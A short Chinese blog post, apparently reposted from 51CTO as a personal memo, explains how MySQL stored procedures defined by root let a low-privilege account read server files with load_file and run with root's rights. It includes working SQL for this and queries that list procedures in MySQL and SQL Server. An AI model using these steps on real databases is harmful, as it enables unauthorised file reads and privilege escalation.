MYSQL存储过程的越权执行

 老早就有人提出来过了， 不是什么新技术，写在这里当备忘而已。没做过多的测试，有些东西也是按我自己的理解说的，有错误请指出。

<a href="http://blog.51cto.com/pnig0s1992/571115#">?</a>

1

2

3

4

5

6

7

<code>use test;</code>

<code>delimiter //</code>

<code>create</code> <code>procedure</code> <code>readf(f </code><code>varchar</code><code>(100))</code>

<code>begin</code>

<code>select</code> <code>load_file(f);</code>

<code>end</code> <code>//</code>

<code>delimiter ;</code>

<code>call test.readf(</code><code>'c:\\boot.ini'</code><code>)</code>

可以发现文件照样被读出来了。。

利用

<code>drop</code> <code>procedure</code> <code>readf;</code>

来删除这个存储过程

下面这段代码也许可以说明一些什么：

<code>create</code> <code>procedure</code> <code>whoami()</code>

<code>select</code> <code>concat(</code><code>'user():'</code><code>,</code><code>user</code><code>()) </code><code>as</code> <code>'whoami'</code> <code>union</code> <code>select</code> <code>concat(</code><code>'current_user():'</code><code>,</code><code>current_user</code><code>());</code>

结果是：

+——————————————+

| whoami                                          |

| user():root@localhost                  |

| current_user():root@localhost  |

再以ninty账号来执行这个存储过程：

+—————————————–+

| whoami                                         |

| user():ninty@localhost               |

| current_user():root@localhost |

PS：

<code>select</code> <code>* </code><code>from</code> <code>mysql.proc </code><code>-- （mysql中的函数就保存在mysql.func表里面）默认只有ROOT用户才可以查询。</code>

<code>select</code> <code>ROUTINE_SCHEMA,ROUTINE_NAME,DEFINER,ROUTINE_DEFINITION </code><code>from</code> <code>information_schema.ROUTINES; </code><code>--谁都可以查</code>

<code>show </code><code>procedure</code> <code>status </code><code>--这个只有当当前账号有EXECUTE权限的时候，才能够列出存储过程。如果拥有全局的EXECUTE权限，就可以看到所有的存储过程，如果只拥有当前库的EXECUTE权限，就只能看到当前库里面的存储过程。</code>

SQL SERVER 05得到用户自定义存储过程：

<code>SELECT</code>  <code>[</code><code>name</code><code>] </code><code>FROM</code> <code>sys.all_objects </code><code>WHERE</code> <code>[type]=</code><code>'P'</code> <code>and</code> <code>charindex(</code><code>'sp'</code><code>,[</code><code>name</code><code>])&lt;&gt;1 </code><code>and</code> <code>charindex(</code><code>'xp'</code><code>,[</code><code>name</code><code>])&lt;&gt;1</code>

或者可以查询sys.procedures，不过听人说好像因为一些未知的原因，从这里查出的数据并不全。。

本文转hackfreer51CTO博客，原文链接：http://blog.51cto.com/pnig0s1992/571115，如需转载请自行联系原作者